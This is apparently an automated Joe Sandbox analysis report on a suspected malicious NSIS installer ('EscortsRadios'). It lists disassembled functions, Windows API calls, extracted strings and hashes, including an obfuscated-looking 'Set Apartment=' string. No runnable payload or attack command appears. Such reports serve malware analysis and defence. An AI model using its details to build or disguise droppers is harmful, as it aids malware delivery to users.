Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

~nsu.tmp, xrefs: 00403AF7
SeShutdownPrivilege, xrefs: 00403C16
/D=, xrefs: 004039A6
NSIS Error, xrefs: 004038E2
NCRC, xrefs: 0040397C
_?=, xrefs: 00403A64
\Temp, xrefs: 00403A1B
1C, xrefs: 00403B56
Error launching installer, xrefs: 00403A7D

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
Jump: %d, xrefs: 00401602
Aborting: "%s", xrefs: 0040161D
BringToFront, xrefs: 004016BD
Rename failed: %s, xrefs: 0040194B
Sleep(%d), xrefs: 0040169D
detailprint: %s, xrefs: 00401679
CreateDirectory: "%s" created, xrefs: 00401849
SetFileAttributes failed., xrefs: 004017A1
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
Rename: %s, xrefs: 004018F8
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
Call: %d, xrefs: 0040165A
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
SetFileAttributes: "%s":%08X, xrefs: 0040177B
CreateDirectory: "%s" (%d), xrefs: 004017BF
Rename on reboot: %s, xrefs: 00401943

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

@%F, xrefs: 004059F6
RichEdit, xrefs: 00405BC4
RichEdit20A, xrefs: 00405BB6, 00405BBB
RichEd32, xrefs: 00405BA8
.DEFAULT\Control Panel\International, xrefs: 00405999
B%F, xrefs: 00405A1F
RichEd20, xrefs: 00405B9D
.exe, xrefs: 00405A3D
_Nb, xrefs: 00405AD1
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
@rD, xrefs: 00405965

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,ConjunctionSku,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,ConjunctionSku,ConjunctionSku,00000000,00000000,ConjunctionSku,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: error, user retry, xrefs: 00401B40
File: error, user abort, xrefs: 00401B53
File: wrote %d to "%s", xrefs: 00401BD0
File: error, user cancel, xrefs: 00401B93
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
ConjunctionSku, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error creating "%s", xrefs: 00401AF0

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: ConjunctionSku$File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"
API String ID: 4286501637-3448434611
Opcode ID: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

soft, xrefs: 00403675
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Null, xrefs: 0040367E
Inst, xrefs: 0040366C
Error launching installer, xrefs: 004035D7

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

Set Apartment= EXTbTroops-Simultaneously-Keith-Beer-Delegation-IIAffecting-Phil-Tulsa-XutuPhilosophy-Combine-Scene-Delight-Wages-Trinity-wOParliament-Columnists-Prev-Whose-Pull-Wave-Convention-Monkey-ZwLaboratories-Dave-Silent-Stick-Forced-Worried-Be, xrefs: 004033A9
X1C, xrefs: 0040343C
... %d%%, xrefs: 0040349E
X1C, xrefs: 004033ED

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$Set Apartment= EXTbTroops-Simultaneously-Keith-Beer-Delegation-IIAffecting-Phil-Tulsa-XutuPhilosophy-Combine-Scene-Delight-Wages-Trinity-wOParliament-Columnists-Prev-Whose-Pull-Wave-Convention-Monkey-ZwLaboratories-Dave-Silent-Stick-Forced-Worried-Be$X1C$X1C
API String ID: 651206458-4066529873
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
